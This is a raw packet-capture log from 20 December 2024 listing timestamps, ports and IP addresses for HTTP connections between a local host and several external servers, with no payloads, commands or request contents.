Dec 20, 2024 16:07:12.499658108 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:12.502000093 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:12.502017975 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:12.502079010 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:12.504534960 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:12.504549026 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:12.504602909 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:12.506799936 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:12.506813049 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:12.506860018 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:12.509244919 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:12.509258032 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:12.509303093 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:12.511660099 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:12.511673927 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:12.511686087 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:12.511723042 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:12.511750937 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:12.514053106 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:12.514065981 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:12.514132977 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:12.514161110 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:12.516474009 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:12.516486883 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:12.516552925 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:12.518948078 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:12.519005060 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:12.519028902 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:12.519052982 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:12.521296024 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:12.521308899 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:12.521321058 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:12.521370888 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:12.521392107 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:12.523753881 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:12.523767948 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:12.523824930 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:12.526092052 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:12.526135921 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:12.526191950 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:12.594733953 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:12.594894886 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:12.595010996 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:12.595951080 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:12.595963955 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:12.596014977 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:12.599288940 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:12.599304914 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:12.599361897 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:12.601100922 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:12.601119995 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:12.601164103 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:12.601213932 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:12.602894068 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:12.602910042 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:12.602921009 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:12.602942944 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:12.602965117 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:12.604784012 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:12.604796886 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:12.604851007 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:12.606667042 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:12.606679916 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:12.606724024 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:12.606755972 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:12.608526945 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:12.608541012 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:12.608583927 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:12.610205889 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:12.610219002 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:12.610266924 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:12.611949921 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:12.611963034 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:12.611974955 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:12.612027884 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:12.612055063 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:12.613909006 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:12.613923073 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:12.613960981 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:12.613986969 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:12.615840912 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:12.617767096 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:12.617824078 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:12.619671106 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:12.619683027 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:12.619704008 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:12.619743109 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:12.619771004 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:12.621620893 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:12.621634007 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:12.621695042 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:12.621722937 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:12.623553038 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:12.623567104 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:12.623629093 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:12.625495911 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:12.625508070 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:12.625551939 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:12.627427101 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:12.627440929 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:12.627495050 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:12.629374027 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:12.629390955 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:12.629401922 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:12.629465103 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:12.630798101 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:12.631277084 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:12.631293058 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:12.631328106 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:12.631356001 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:12.633300066 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:12.635155916 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:12.635263920 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:12.637088060 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:12.637099981 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:12.637111902 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:12.637151957 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:12.637165070 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:12.638986111 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:12.639143944 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:12.640995979 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:12.641009092 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:12.641057968 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:12.643660069 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:12.643671989 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:12.643738985 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:12.644787073 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:12.644798994 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:12.644809008 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:12.644843102 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:12.644860029 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:12.646704912 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:12.646725893 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:12.646756887 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:12.646800995 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:12.648674965 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:12.648689032 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:12.648736954 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:12.650579929 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:12.650599003 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:12.650646925 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:12.652506113 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:12.652519941 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:12.652574062 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:12.652585983 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:12.654447079 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:12.654499054 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:12.656337976 CET	80	49806	185.215.113.16	192.168.2.5
Dec 20, 2024 16:07:12.656737089 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:07:13.045739889 CET	49769	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:07:13.046951056 CET	49822	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:07:13.165369034 CET	80	49769	185.215.113.206	192.168.2.5
Dec 20, 2024 16:07:13.166536093 CET	80	49822	185.215.113.206	192.168.2.5
Dec 20, 2024 16:07:13.166619062 CET	49822	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:07:13.167049885 CET	49822	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:07:13.528470993 CET	49822	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:07:13.772815943 CET	80	49822	185.215.113.206	192.168.2.5
Dec 20, 2024 16:07:13.774837017 CET	80	49822	185.215.113.206	192.168.2.5
Dec 20, 2024 16:07:15.513617992 CET	80	49822	185.215.113.206	192.168.2.5
Dec 20, 2024 16:07:15.513719082 CET	49822	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:07:18.425113916 CET	49822	80	192.168.2.5	185.215.113.206
Dec 20, 2024 16:07:18.427104950 CET	49806	80	192.168.2.5	185.215.113.16
Dec 20, 2024 16:08:04.358407974 CET	49935	80	192.168.2.5	185.215.113.43
Dec 20, 2024 16:08:04.478024006 CET	80	49935	185.215.113.43	192.168.2.5
Dec 20, 2024 16:08:04.478132963 CET	49935	80	192.168.2.5	185.215.113.43
Dec 20, 2024 16:08:04.478394985 CET	49935	80	192.168.2.5	185.215.113.43
Dec 20, 2024 16:08:04.597964048 CET	80	49935	185.215.113.43	192.168.2.5
Dec 20, 2024 16:08:05.827570915 CET	80	49935	185.215.113.43	192.168.2.5
Dec 20, 2024 16:08:05.827788115 CET	49935	80	192.168.2.5	185.215.113.43
Dec 20, 2024 16:08:07.341639042 CET	49935	80	192.168.2.5	185.215.113.43
Dec 20, 2024 16:08:07.342103004 CET	49942	80	192.168.2.5	185.215.113.43
Dec 20, 2024 16:08:07.461600065 CET	80	49942	185.215.113.43	192.168.2.5
Dec 20, 2024 16:08:07.461812019 CET	49942	80	192.168.2.5	185.215.113.43
Dec 20, 2024 16:08:07.461942911 CET	80	49935	185.215.113.43	192.168.2.5
Dec 20, 2024 16:08:07.462043047 CET	49935	80	192.168.2.5	185.215.113.43
Dec 20, 2024 16:08:07.462466955 CET	49942	80	192.168.2.5	185.215.113.43
Dec 20, 2024 16:08:07.582010031 CET	80	49942	185.215.113.43	192.168.2.5
Dec 20, 2024 16:08:08.844826937 CET	80	49942	185.215.113.43	192.168.2.5
Dec 20, 2024 16:08:08.844887018 CET	49942	80	192.168.2.5	185.215.113.43
Dec 20, 2024 16:08:08.845094919 CET	80	49942	185.215.113.43	192.168.2.5
Dec 20, 2024 16:08:08.845149040 CET	49942	80	192.168.2.5	185.215.113.43
Dec 20, 2024 16:08:09.103157997 CET	80	49942	185.215.113.43	192.168.2.5
Dec 20, 2024 16:08:09.103408098 CET	49942	80	192.168.2.5	185.215.113.43
Dec 20, 2024 16:08:09.107952118 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:09.227449894 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:09.227587938 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:09.228635073 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:09.348139048 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:10.559844971 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:10.559905052 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:10.560256004 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:10.560269117 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:10.560343981 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:10.561248064 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:10.561265945 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:10.561301947 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:10.561314106 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:10.562232018 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:10.562243938 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:10.562287092 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:10.562304020 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:10.563487053 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:10.563509941 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:10.563541889 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:10.563553095 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:10.564773083 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:10.564826965 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:10.679606915 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:10.679742098 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:10.679951906 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:10.679997921 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:10.682934999 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:10.683002949 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:10.918011904 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:10.918032885 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:10.918046951 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:10.918061018 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:10.918119907 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:10.918133020 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:10.918145895 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:10.918203115 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:10.918349981 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:10.918368101 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:10.918396950 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:10.918423891 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:10.918612957 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:10.918627024 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:10.918662071 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:10.918670893 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:10.918874025 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:10.918889046 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:10.918920994 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:10.918932915 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:10.918935061 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:10.918946981 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:10.918958902 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:10.918972015 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:10.918972969 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:10.918986082 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:10.918996096 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:10.918999910 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:10.919013977 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:10.919025898 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:10.919028044 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:10.919042110 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:10.919051886 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:10.919055939 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:10.919066906 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:10.919068098 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:10.919097900 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:10.919120073 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.054140091 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.054157019 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.054291964 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.055634022 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.055658102 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.055692911 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.055722952 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.057199955 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.057214022 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.057281971 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.058384895 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.058443069 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.059072018 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.059134960 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.065382957 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.065462112 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.065891981 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.065948009 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.072555065 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.072623968 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.072922945 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.072973013 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.079864025 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.079945087 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.080128908 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.080182076 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.087007999 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.087059975 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.087330103 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.087378979 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.094259024 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.094351053 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.094698906 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.094754934 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.101562977 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.101655960 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.102309942 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.102365971 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.108597994 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.108683109 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.108956099 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.109002113 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.115772963 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.115825891 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.116112947 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.116163015 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.122997999 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.123063087 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.123532057 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.123579025 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.130376101 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.130449057 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.130706072 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.130748987 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.137460947 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.137507915 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.137816906 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.137861967 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.144680023 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.144732952 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.145196915 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.145340919 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.151920080 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.151997089 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.152384043 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.152440071 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.159106016 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.159212112 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.159449100 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.159496069 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.166393042 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.166501999 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.166711092 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.166764975 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.183087111 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.183176041 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.184660912 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.184727907 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.205423117 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.205439091 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.205549002 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.226190090 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.226316929 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.228113890 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.228168011 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.249339104 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.249429941 CET	49946	80	192.168.2.5	31.41.244.11
Dec 20, 2024 16:08:11.250942945 CET	80	49946	31.41.244.11	192.168.2.5
Dec 20, 2024 16:08:11.250969887 CET	80	49946	31.41.244.11	192.168.2.5
